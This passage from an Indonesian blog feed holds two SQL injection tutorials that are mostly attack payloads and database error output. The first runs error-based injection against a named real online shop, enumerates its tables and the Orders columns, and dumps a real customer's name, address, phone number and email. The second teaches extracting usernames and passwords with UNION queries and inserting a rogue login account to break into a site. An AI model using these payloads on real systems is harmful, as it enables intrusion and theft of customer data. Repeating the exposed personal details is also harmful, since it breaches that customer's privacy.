align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;Trus kita masukin rumus itu di belakang value products&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;&lt;a href="http://www.classicshoes.co.uk/qshop/details.asp?prodid=93%20or%201=convert%28int,%28select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20%28%27Products%27%29%29%29--sp_password"&gt;http://www.xxx/qshop/details.asp?prodid=93%20or%201=convert(int,(select%20top%201%20table_name%20from%20&lt;/a&gt;&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;&lt;a href="http://www.classicshoes.co.uk/qshop/details.asp?prodid=93%20or%201=convert%28int,%28select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20%28%27Products%27%29%29%29--sp_password"&gt;information_schema.tables%20where%20table_name%20&lt;/a&gt;&lt;a href="http://www.classicshoes.co.uk/qshop/details.asp?prodid=93%20or%201=convert%28int,%28select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20%28%27Products%27%29%29%29--sp_password"&gt;not%20in%20('Products')))--sp_password&lt;/a&gt;&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt; &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;and keluar error :&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt; &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Carts' to a column of data type int.&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;/qshop/details.asp, line 23&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;Nah ada lagi table dengan nama Carts…got it…cari trus sampe abis….kita tambahin aja value x-nya, jadi :&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt; &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;&lt;a href="http://www.classicshoes.co.uk/qshop/details.asp?prodid=93%20or%201=convert%28int,%28select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20%28%27Products%27,%27Carts%27%29%29%29--sp_password"&gt;http://www.xxx/qshop/details.asp?prodid=93%20or%201=convert(int,(select%20top%201%20table_name%20from%20&lt;/a&gt;&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;&lt;a href="http://www.classicshoes.co.uk/qshop/details.asp?prodid=93%20or%201=convert%28int,%28select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20%28%27Products%27,%27Carts%27%29%29%29--sp_password"&gt;information_schema.tables%20where%20table_name%20not%20in%20('Products','Carts')))--sp_password&lt;/a&gt;&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;abis itu bakal keluar error dengan nama table yg laen…..masukin trus nama2 table itu kyk contoh di atas. &lt;strong&gt;Masukin terus sampe errornya gak ada ato errornya beda&lt;/strong&gt;.                                                                                                      &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;Akhirannya jadi :&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;&lt;a href="http://www.classicshoes.co.uk/qshop/details.asp?prodid=93%20or%201=convert%28int,%28select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20%28%27carts%27,%27Categories%27,%27CommonList%27,%27Config_Table%27,%27dbstatus%27,%27dtproperties%27,%27Historic%27,%27OrderLines%27,%27Orders%27,%27Products%27,%27Status%27,%27sysconstraints%27,%27syssegments%27,%27test%27,%27Users%27%29%29%29--sp_password"&gt;http://www.xxx/qshop/details.asp?prodid=93%20or%201=convert(int,(select%20top%201%20table_name%20from%20&lt;/a&gt;&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;&lt;a href="http://www.classicshoes.co.uk/qshop/details.asp?prodid=93%20or%201=convert%28int,%28select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20%28%27carts%27,%27Categories%27,%27CommonList%27,%27Config_Table%27,%27dbstatus%27,%27dtproperties%27,%27Historic%27,%27OrderLines%27,%27Orders%27,%27Products%27,%27Status%27,%27sysconstraints%27,%27syssegments%27,%27test%27,%27Users%27%29%29%29--sp_password"&gt;information_schema.tables%20where%20table_name%20not%20in%20('carts','Categories','CommonList','Config_Table','dbstatus',&lt;/a&gt;&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;&lt;a href="http://www.classicshoes.co.uk/qshop/details.asp?prodid=93%20or%201=convert%28int,%28select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20%28%27carts%27,%27Categories%27,%27CommonList%27,%27Config_Table%27,%27dbstatus%27,%27dtproperties%27,%27Historic%27,%27OrderLines%27,%27Orders%27,%27Products%27,%27Status%27,%27sysconstraints%27,%27syssegments%27,%27test%27,%27Users%27%29%29%29--sp_password"&gt;'dtproperties','Historic','OrderLines','Orders','Products','Status','sysconstraints','syssegments','test','Users')))--sp_password&lt;/a&gt;&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt; &lt;/p&gt;&lt;div align="justify"&gt; &lt;ol&gt;&lt;li&gt;OK semua struktur tablenya kita tau,,,,,ada table orders….kl menurut logika cc itu berarti disimpen di table orders….ok kita cari tau table orders punya field apa aja?...Inget rumus field di atas? Klo gak inget minum mizone dolO!&lt;/li&gt;&lt;/ol&gt; &lt;/div&gt;&lt;p align="justify"&gt;%20or%201=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;=('X')%20and%20column_name%20not%20in%20('Y')))--sp_password&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt; &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;X kita ganti dengan nama table yg akan kita cari field2nya….jadi kita ganti Orders&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;Y kita kosongin aja dolo tar jg keluar field pertamanya.....jadi :&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt; &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;&lt;a href="http://www.classicshoes.co.uk/qshop/details.asp?prodid=93%20or%201=convert%28int,%28select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name=%28%27Orders%27%29%20and%20column_name%20not%20in%20%28%27%27%29%29%29--sp_password"&gt;http://www.xxx/qshop/details.asp?prodid=93%20or%201=convert(int,(select%20top%201%20column_name%20from%20&lt;/a&gt;&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;&lt;a href="http://www.classicshoes.co.uk/qshop/details.asp?prodid=93%20or%201=convert%28int,%28select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name=%28%27Orders%27%29%20and%20column_name%20not%20in%20%28%27%27%29%29%29--sp_password"&gt;information_schema.columns%20where%20table_name=('Orders')%20and%20column_name%20not%20in%20('')))--sp_password&lt;/a&gt;&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt; &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;errornya jadi :&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt; &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e07' &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Id' to a column of data type int. &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;/qshop/details.asp, line 23 &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;Nah ID itu adalah field pertama dari table orders, artinya kita dapet nilai Y....selanjutnya kita ganti Y jadi ID menjadi :&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt; &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;&lt;a href="http://www.classicshoes.co.uk/qshop/details.asp?prodid=93%20or%201=convert%28int,%28select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name=%28%27Orders%27%29%20and%20column_name%20not%20in%20%28%27Id%27%29%29%29--sp_password"&gt;http://www.xxx/qshop/details.asp?prodid=93%20or%201=convert(int,(select%20top%201%20column_name%20from%20&lt;/a&gt;&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;&lt;a href="http://www.classicshoes.co.uk/qshop/details.asp?prodid=93%20or%201=convert%28int,%28select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name=%28%27Orders%27%29%20and%20column_name%20not%20in%20%28%27Id%27%29%29%29--sp_password"&gt;information_schema.columns%20where%20table_name=('Orders')%20and%20column_name%20not%20in%20('Id')))--sp_password&lt;/a&gt;&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt; &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;nah tar terus keluar error yg sama persis kyk waktu kita ngeluarin struktur table…trus masukin lagi field2 table order ke dalam nilai Y sampe errornya gak ada lagi atao beda jadi :&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;&lt;a href="http://www.xxx/qshop/details.asp?prodid=93%20or%201=convert%28int,%28select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name=%28%27Orders%27%29%20and%20column_name%20not%20in%20%28%27Id%27,%27UserID%27,%27CartID%27,%27Date%27,%27Name%27,%27Surname%27,%27Country2%27,%27Address%27,%27CP%27,%27City%27,%27Province%27,%27Country%27,%27Phone%27,%27mail%27,%27DName%27,%27DAddress%27,%27DCP%27,%27DCity%27,%27DProvince%27,%27DActualCountry%27,%27DPhone%27,%27PaymentMode%27,%27SubTotal%27,%27Delivery%27,%27Total%27,%27Status%27%29%29%29--sp_password"&gt;http://www.xxx/qshop/details.asp?prodid=93%20or%201=convert(int,(select%20top%201%20column_name%20from%20&lt;/a&gt;&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;&lt;a href="http://www.xxx/qshop/details.asp?prodid=93%20or%201=convert%28int,%28select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name=%28%27Orders%27%29%20and%20column_name%20not%20in%20%28%27Id%27,%27UserID%27,%27CartID%27,%27Date%27,%27Name%27,%27Surname%27,%27Country2%27,%27Address%27,%27CP%27,%27City%27,%27Province%27,%27Country%27,%27Phone%27,%27mail%27,%27DName%27,%27DAddress%27,%27DCP%27,%27DCity%27,%27DProvince%27,%27DActualCountry%27,%27DPhone%27,%27PaymentMode%27,%27SubTotal%27,%27Delivery%27,%27Total%27,%27Status%27%29%29%29--sp_password"&gt;information_schema.columns%20where%20table_name=('Orders')%20and%20column_name%20not%20in%20('Id','UserID','CartID','Date',&lt;/a&gt;&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;&lt;a href="http://www.xxx/qshop/details.asp?prodid=93%20or%201=convert%28int,%28select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name=%28%27Orders%27%29%20and%20column_name%20not%20in%20%28%27Id%27,%27UserID%27,%27CartID%27,%27Date%27,%27Name%27,%27Surname%27,%27Country2%27,%27Address%27,%27CP%27,%27City%27,%27Province%27,%27Country%27,%27Phone%27,%27mail%27,%27DName%27,%27DAddress%27,%27DCP%27,%27DCity%27,%27DProvince%27,%27DActualCountry%27,%27DPhone%27,%27PaymentMode%27,%27SubTotal%27,%27Delivery%27,%27Total%27,%27Status%27%29%29%29--sp_password"&gt;'Name','Surname','Country2','Address','CP','City','Province','Country','Phone','mail','DName','DAddress','DCP','DCity','DProvince',&lt;/a&gt;&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;&lt;a href="http://www.xxx/qshop/details.asp?prodid=93%20or%201=convert%28int,%28select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name=%28%27Orders%27%29%20and%20column_name%20not%20in%20%28%27Id%27,%27UserID%27,%27CartID%27,%27Date%27,%27Name%27,%27Surname%27,%27Country2%27,%27Address%27,%27CP%27,%27City%27,%27Province%27,%27Country%27,%27Phone%27,%27mail%27,%27DName%27,%27DAddress%27,%27DCP%27,%27DCity%27,%27DProvince%27,%27DActualCountry%27,%27DPhone%27,%27PaymentMode%27,%27SubTotal%27,%27Delivery%27,%27Total%27,%27Status%27%29%29%29--sp_password"&gt;'DActualCountry','DPhone','PaymentMode','SubTotal','Delivery','Total','Status')))--sp_password&lt;/a&gt;&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt; &lt;/p&gt;&lt;div align="justify"&gt; &lt;ol&gt;&lt;li&gt;OK, struktur table n field dah tau…sekarang gmn caranya kita bisa ngambil nilai dari database? Dalam contoh ini kita ambil info dari database tanpa masuk ke admin. RUMUS lagi :&lt;/li&gt;&lt;/ol&gt; &lt;/div&gt;&lt;p align="justify"&gt; &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;%20or%201=convert(int,(select%20top%201%20convert(varchar,isnull(convert(varchar,%20&lt;strong&gt;Y1&lt;/strong&gt;),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20&lt;strong&gt;Y&lt;/strong&gt;),'NULL'))% 20from%20&lt;strong&gt;X&lt;/strong&gt;%20where%20&lt;strong&gt;Y1&lt;/strong&gt;%20not%20in%20('&lt;strong&gt;Z&lt;/strong&gt;')))--sp_password&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt; &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;Ok Y1 itu nilai Primary Key, contoh primary key itu ID, OrderID, UserID dll….&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;Y itu Field lainnya dalam table yg akan di keluarin nilai fieldnya.&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;X itu Table Name yg akan di ambil data2nya&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;Z itu nilai dari Y1 bisa jadi 0,1,2,3,4…dst;….&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt; &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;Contoh dari sample :&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt; &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;http://www.xxx/qshop/details.asp?prodid=93%20or%201=convert(int,(select%20top%201%20convert(varchar,isnull(convert(varchar,%20id),&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20date),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20UserID),&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20Name),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20Surname),&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20Address),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20CP),&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20City),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20Province),&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20Country),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20Phone),&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20mail),'NULL'))%20from%20orders%20where%20id%20not%20in%20('2918')&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;%20order%20by%20id%20desc))--sp_password&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt; &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;darimana dapet nilai value Y1 ? masukin aja asal dulu misalkan 0, nanti di error yg akan keluar dikasih liat nilai Valuenya, biasanya di awal contoh : &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt; &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e07' &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '3011/Dec 23 2006 2:19PM/L9180ER/Britain/Brady/The Department of Politics, Un/YO10 5DD/York/Please Select/UK/07939086210/ &lt;script language="JavaScript" type="text/javascript"&gt;  &lt;!--  var prefix = '&amp;#109;a' + 'i&amp;#108;' + '&amp;#116;o';  var path = 'hr' + 'ef' + '=';  var addy46116 = 'br&amp;#97;dy.br&amp;#105;t&amp;#97;&amp;#105;n' + '&amp;#64;';  addy46116 = addy46116 + 'gm&amp;#97;&amp;#105;l' + '&amp;#46;' + 'c&amp;#111;m';  document.write( '&lt;a&gt;' );  document.write( addy46116 );  document.write( '&lt;\/a&gt;' );  //--&gt;\n &lt;/script&gt;&lt;a href="mailto:brady.britain@gmail.com"&gt;brady.britain@gmail.com&lt;/a&gt; &lt;script language="JavaScript" type="text/javascript"&gt;  &lt;!--  document.write( '&lt;span style="\'display:"&gt;' );  //--&gt;  &lt;/script&gt;&lt;span style="display: none;"&gt;This e-mail address is being protected from spambots. You need JavaScript enabled to view it  &lt;script language="JavaScript" type="text/javascript"&gt;  &lt;!--  document.write( '&lt;/' );  document.write( 'span&gt;' );  //--&gt;  &lt;/script&gt;&lt;/span&gt;/ ' to a column of data  type int. &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;/qshop/details.asp, line 23 &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;3011 itu nilai dari Primary Key atau Y1…..&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;Selesai….sql injection gak Cuma berefek di MS-SQL tapi jg di semua SQL…Cuma metodenya beda2….tunggu saja rilisan berikutnya ;)&lt;/p&gt;&lt;p align="justify"&gt;sumber : http://www.neoteker.or.id/info-security/60-sql-injection-v3.html&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9220767944369178895-2444766369503060674?l=senlest.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://senlest.blogspot.com/feeds/2444766369503060674/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://senlest.blogspot.com/2009/05/sql-injection-3.html#comment-form' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9220767944369178895/posts/default/2444766369503060674'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9220767944369178895/posts/default/2444766369503060674'/><link rel='alternate' type='text/html' href='http://senlest.blogspot.com/2009/05/sql-injection-3.html' title='SQL Injection 3'/><author><name>pangeranes</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_pZ3_2XDQFfI/SpmbUPNFDXI/AAAAAAAAAIg/5WZSyhCv73s/S220/in+waterboum.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9220767944369178895.post-7519075130051891000</id><published>2009-05-04T01:10:00.000-07:00</published><updated>2009-05-09T00:38:53.018-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sql injection'/><title type='text'>SQL Injection 2</title><content type='html'>&lt;div style="text-align: justify;"&gt;:::PREFACE::.&lt;br /&gt;============&lt;br /&gt;Kalau di Vol.1 dah dibahas teknik UPDATE di MS-SQL maka disini gw jelasin cara INSERT dan UNION......rada ngejelimet neh.....makanya kalau baca artikel ini harus ada aer putih hyuehueh.... N disini gw juga akan kasih kilas balik sedikit untuk yang baru nyoba2 :) n penjelasan yang lebih detail&lt;br /&gt;&lt;br /&gt;.::BODY::.&lt;br /&gt;============&lt;br /&gt;&lt;br /&gt;Sebelumnya tolong apabila browser kalian pada pake IE setting dulu browsernya agar bisa melihat errornya. Setting di Tools-Internet option-Advanced tab-Show friendly HTTP error messages. itu musti dilakukan, kalau tidak kalian tidak bisa&lt;span class="fullpost"&gt; lihat error messages yg keluar nanti.&lt;br /&gt;OK, masih inget kan cara cari targetnya? kalau lupa lihat lagi artikel Vol.1 :)&lt;br /&gt;&lt;br /&gt;Nah, klo dah dapet targetnya sekarang tinggal input SQL Querynya di input boxnya :&lt;br /&gt;  &lt;/div&gt;&lt;p style="text-align: justify;"&gt;&lt;br /&gt;www.target.com/ login.asp &gt;&gt; contoh target&lt;br /&gt;www.target.com/ login.asp? err=Invalid_ password &gt;&gt; persan error yang dapat di eksploitasi seperti biasa kalau ingin cari n tes vuln engganya tuh situs kita ketikan ' having 1=1-- di input box atau URL error tadi , contoh : www.target.com/ login.asp? err=' having 1=1-- then,....&lt;br /&gt;&lt;br /&gt;Microsoft OLE DB Provider for SQL Server (0x80040E14)&lt;br /&gt;Column 'Users.UserID' is invalid in the select list because it is&lt;br /&gt;not&lt;br /&gt;contained in an&lt;br /&gt;aggregate function and there is no GROUP BY clause&lt;br /&gt;&lt;br /&gt;itu error messagesnya, kini kita group field UserID dari table Users, stringnya : ' group by UserID --&lt;br /&gt;&lt;br /&gt;then,...&lt;br /&gt;&lt;br /&gt;Microsoft OLE DB Provider for SQL Server (0x80040E14)&lt;br /&gt;Column 'Users.ClientName' is invalid in the select list&lt;br /&gt;because it is not contained in either an aggregate function or the&lt;br /&gt;GROUP BY clause.&lt;br /&gt;&lt;br /&gt;muncul lagi error seperti itu....lalu lagi kita Group. Kini stringnya adalah ' group by field1,field2 --&lt;br /&gt;contoh : ' group by UserID,ClientName --&lt;br /&gt;&lt;br /&gt;then,...&lt;br /&gt;&lt;br /&gt;Microsoft OLE DB Provider for SQL Server (0x80040E14)&lt;br /&gt;Column 'Users.UserName' is invalid in the select list because it is&lt;br /&gt;not&lt;br /&gt;contained in&lt;br /&gt;&lt;br /&gt;either an aggregate function or the GROUP BY clause.&lt;br /&gt;trus group by lagi, hal ini kita lakukan (proses looping) sampai semua field kita&lt;br /&gt;&lt;br /&gt;ketahui..... .makanya harus sabar, kalau engga ga bakal tembus :) apabila sudah lama melakukan looping dan akhirnya ketika group terakhir kita lakukan dan tidak keluar error messagesnya maka error yang terakhir adalah field yg terakhir.... .field table itu bisa panjang&lt;br /&gt;sekali, tergantung admin yang masangnya jadi susah kalau maen teabk2an ajah....contoh field yang pernah gw temuin :&lt;br /&gt;' group by UserID,ClientName, UserName, Password, PhysicalAddress, PhoneNumber, Email&lt;br /&gt;, OperatingSystem, PrefferredGraphi cFormat -- &gt;&gt; ada 9 field!!! jangan males dalam proses Looping :P&lt;br /&gt;&lt;br /&gt;setelah dapet semua field, kini yang kita lakukan adalah mencari siapa aja user yang ada dalam table Users dan kolom UserName... caranya? kita pake Union apa itu UNION??? union adalah perintah SQL dimana ia dapat menggabungkan dua SELECT list tapi kalau pengen gunain Union ini kita harus tahu ada berapa field dalam table tadi&lt;br /&gt;&lt;br /&gt;sintaksnya gini :&lt;br /&gt;select field1, field2, … field_n&lt;br /&gt;from tables&lt;br /&gt;UNION&lt;br /&gt;select field1, field2, … field_n&lt;br /&gt;from tables;&lt;br /&gt;&lt;br /&gt;nah biasanya dalam SQL QUERY di input box username itu mereka bikin&lt;br /&gt;query select * from&lt;br /&gt;&lt;br /&gt;Users where UserName =='"+login+" ' and Password='"+ pass"'"; nah kalau begitu kita masukin syntax sql union untuk melihat username :&lt;br /&gt;' union select min(UserName) ,1,1,1 from Users where username &gt; 'a'-- jadi hasilnya : select * from Users where UserName ==' union select min(UserName) ,1,1,1 from Users where username &gt; 'a'--and Password='"+ pass"'"; gitu kiranya, jadi nanti akan muncul error messages lagi yang akan menampilkan sebuah username lebih dari huruf a ,contoh:&lt;br /&gt;&lt;br /&gt;Error Type:&lt;br /&gt;Microsoft OLE DB Provider for SQL Server (0x80040E07)&lt;br /&gt;Syntax error converting the varchar value 'Agile' to a column of&lt;br /&gt;data&lt;br /&gt;type int. /&lt;br /&gt;&lt;br /&gt;tuh lihat kan ada user dengan nama Agile...lalu looping lagi pake string union tadi nanti akan muncul username2 lain....lalu bagaimana dengan passwordnya? ??&lt;br /&gt;ok union beraksi kembali : ' union select min (UserName),1, 1,1,1,1,1, 1,1 from Users where username &gt; 'Agile'-- lalu akan muncul error yang memberitahukan passwordnya, contoh :&lt;br /&gt;&lt;br /&gt;Error Type:&lt;br /&gt;Microsoft OLE DB Provider for SQL Server (0x80040E07)&lt;br /&gt;Syntax error converting the varchar value 'Surfer' to a column of&lt;br /&gt;data&lt;br /&gt;type int. /&lt;br /&gt;&lt;br /&gt;kalau dah gini kita bisa masuk dengan Username Agile dan passwordnya Surfer...hehehe&lt;br /&gt;&lt;br /&gt;selamat yah!&lt;br /&gt;btw, kita juga ingin dong bisa INSERT databasenya. .... caranya : karena ktia sudah tahu field2nya maka stringnya jadi : '&lt;br /&gt;insert into table values&lt;br /&gt;(field1,field2, ....,field_ n)--&lt;br /&gt;misalkan ada field sebagai berikut :&lt;br /&gt;'Users.UserID'&lt;br /&gt;'Users. Username'&lt;br /&gt;'Users.Password'&lt;br /&gt;'Users.FName'&lt;br /&gt;'Users.LName'&lt;br /&gt;'Users.EmailAddress '&lt;br /&gt;'Users.Administrato r'&lt;br /&gt;itu berarti ada 7 field! Ok kita masukan menurut string tadi : '&lt;br /&gt;insert&lt;br /&gt;into Users values&lt;br /&gt;&lt;br /&gt;(0,'lucifer' ,'lucifer' ,'lu','cid' ,'  &lt;script language="JavaScript" type="text/javascript"&gt;  &lt;!--  var prefix = '&amp;#109;a' + 'i&amp;#108;' + '&amp;#116;o';  var path = 'hr' + 'ef' + '=';  var addy46427 = '&amp;#97;' + '&amp;#64;';  addy46427 = addy46427 + '&amp;#97;' + '&amp;#46;' + 'c&amp;#111;m';  document.write( '&lt;a&gt;' );  document.write( addy46427 );  document.write( '&lt;\/a&gt;' );  //--&gt;\n &lt;/script&gt;&lt;a href="mailto:a@a.com"&gt;a@a.com&lt;/a&gt; &lt;script language="JavaScript" type="text/javascript"&gt;  &lt;!--  document.write( '&lt;span style="\'display:"&gt;' );  //--&gt;  &lt;/script&gt;&lt;span style="display: none;"&gt;This e-mail address is being protected from spambots. You need JavaScript enabled to view it  &lt;script language="JavaScript" type="text/javascript"&gt;  &lt;!--  document.write( '&lt;/' );  document.write( 'span&gt;' );  //--&gt;  &lt;/script&gt;&lt;/span&gt;',1)-- &gt;&gt; artinya kita masukan id kita dalam urutan 0, lalu username 'lucifer', password 'lucifer' Fname (frontName) itu 'lu', Lname(LastName) sebagai 'cid', dan EmailAddress ' &lt;script language="JavaScript" type="text/javascript"&gt;  &lt;!--  var prefix = '&amp;#109;a' + 'i&amp;#108;' + '&amp;#116;o';  var path = 'hr' + 'ef' + '=';  var addy58168 = '&amp;#97;' + '&amp;#64;';  addy58168 = addy58168 + '&amp;#97;' + '&amp;#46;' + 'c&amp;#111;m';  document.write( '&lt;a&gt;' );  document.write( addy58168 );  document.write( '&lt;\/a&gt;' );  //--&gt;\n &lt;/script&gt;&lt;a href="mailto:a@a.com"&gt;a@a.com&lt;/a&gt; &lt;script language="JavaScript" type="text/javascript"&gt;  &lt;!--  document.write( '&lt;span style="\'display:"&gt;' );  //--&gt;  &lt;/script&gt;&lt;span style="display: none;"&gt;This e-mail address is being protected from spambots. You need JavaScript enabled to view it  &lt;script language="JavaScript" type="text/javascript"&gt;  &lt;!--  document.write( '&lt;/' );  document.write( 'span&gt;' );  //--&gt;  &lt;/script&gt;&lt;/span&gt;'...... coba kita login dengan user buatan kita tadi....BINGO! selamat anda berhasil menjebol database situs&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;sumber : http://www.neoteker.or.id/info-security/58-sql-injection-vol2.html&lt;br 